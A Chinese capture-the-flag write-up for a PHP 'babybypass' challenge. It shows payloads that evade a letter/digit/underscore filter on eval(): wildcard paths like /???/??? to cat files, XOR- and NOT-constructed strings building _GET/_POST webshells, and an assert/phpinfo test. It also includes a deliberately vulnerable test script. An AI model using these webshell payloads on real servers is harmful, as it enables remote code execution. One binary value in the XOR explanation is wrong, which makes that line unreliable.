2018-11-12
##安恒杯babybypass writeup
这题拿到后见很熟悉就用paylaod直接做,结果做不出来,原来跟之前的不一样,$也被过滤了,使用php不用字母数字下划线写shell的方法不管用了,不过有大佬用其他方法做出来了
巧妙地利用linux下的通配符
这里也是很有技巧的点,在Linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
linux下1
/???/??? => /bin/cat
问题来了,知道通配符能找到目录,但怎么执行命令取回结果呢?要想得到读文件或者命令执行的内容,我们需要一个用来输出的东西,但是我们又没有常规的函数,经过了一段时间的思考,想到了<?=$_?>,这个方式。
<?= 就相当于php中的echo , 在linux下, 例如echo ls 执行ls命令
我们找到了这个关键的正则,我们先来读一下源码1
2$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
但是发现超出长度了,然后我们继续缩短长度,想到了用*来匹配文件夹下的所有文件:1
$_=`/???/???%20/???/???/????/*`;?><?=$_?>
但是$和_ 被过滤了
?> 是为了闭合前面的code然后去执行后面的php语句
改进为1
?><?=`/???/???%20/???/???/????/*`?>

发现关键点1
2
3
4function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
我们知道了flag的文件位置在根目录,所以直接利用通配符去读flag文件就好
?><?=/???/???%20/????;?>
http://101.71.29.5:10001/?code=?><?=/???/???%20/????;?>
##参考学习 一
###这里我们先自己写一个test.php 和 flag.php 用于测试
无字母无数字webshell
以下内容为对 上面这篇博客的学习1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
echo($code);
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
// @eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
1 | <?php |
####在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
###尝试构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
var_dump('#'^'|'); //得到字符 _
echo("<br>");
var_dump('.'^'~'); //得到字符 P
echo("<br>");
var_dump('/'^'`'); //得到字符 0
echo("<br>");
var_dump('|'^'/'); //得到字符 S
echo("<br>");
var_dump('{'^'/'); //得到字符 T
echo("<br>");
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
echo($__)
//变量$__值为字符串'_POST'
?>
浏览器解析后
2webshell.php

1 | <?php |

执行一下webshell.php
####为了节省字符长度,这里字符可以一起异或使用1
2
3
4<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>
webshell011
2
3
4
5
6<?php
@$_++;
$__='#./|{'^'|~`//';
${$__}[!$_](${$__}[$_]);
?>
执行一下webshell01

##构造payload1
2
3
4
5
6$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")
payload如下
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag


但是字符串大于四十?
输出一下$_GET[‘code’]
哎哟 肯定少于四十了
成功得到flag
再执行一下webshell试试1
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

###方法二
如果在加上不能有&_字符呢?
只要eval函数执行了“getFlag()”字符串即可,那么绕过正则匹配即可:
把getFlag取反然后URL编码:1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这里为什么正则没有检测到,因为后端自动进行了解码,解码为非字母和数字字符,而eval执行了取反还原为getFlag字符
既然可以利用取反~进行编码绕过正则检测,那么也可以取反编_GET ,_POST
参考学习 二
一些不包含数字和字母的webshell之方法一
test.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
//pre_match(code长度很长可以绕过)
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
flag.php1
2
3
4
5
6<?php
function getFlag(){
$flag = "111111111111111111";
echo $flag;
};
?>
###思路 (一)1
构造一个变量_ 变量的值为_GET 执行$_GET[]($_GET[])
我们是要用非字母、数字的字符经过各种变化,最后能构造出我们所需要的字符,然后利用php允许动态函数执行的特点,拼接一个函数名
####payload-one
1 | ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag |

下划线被过滤了 所以payload-one失效
####payload-two


1
2${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
$_=getFlag;_();
构造一个变量_ 变量的值为 getFlag 执行 __();
总的来说,是要传进去两个参数t和code 会执行 @eval($code) 但是code限制了传进去的长度不能超过50,而且会进行正则匹配 pre_match()
这里正则匹配禁用了大写A-Z,小写A-Z,数字0-9,以及下划线_, 我们看到可以通过调用getFLAG来得到flag
####在php中,两个字符串执行异或操作后,得到的还是一个字符串,我们想到可以用两个非字母、数字的字符,他们异或得到我们所需要的字母。
这里我们先了解一下异或(^)的概念
异或两个字母 首先把他们转化成ASCII码值 这里有python的两个函数特别好用
####chr()函数
chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符
chr(i)
参数 (i) 可以是10进制也可以是16进制的形式的数字
返回值 返回值是当前整数对应的ascii字符
####ord()函数
ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常
ord(c) 参数 c 是字符
返回值是对应的十进制整数
ord(“A”) 字母转ASCII char(65) ASCII转字母
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了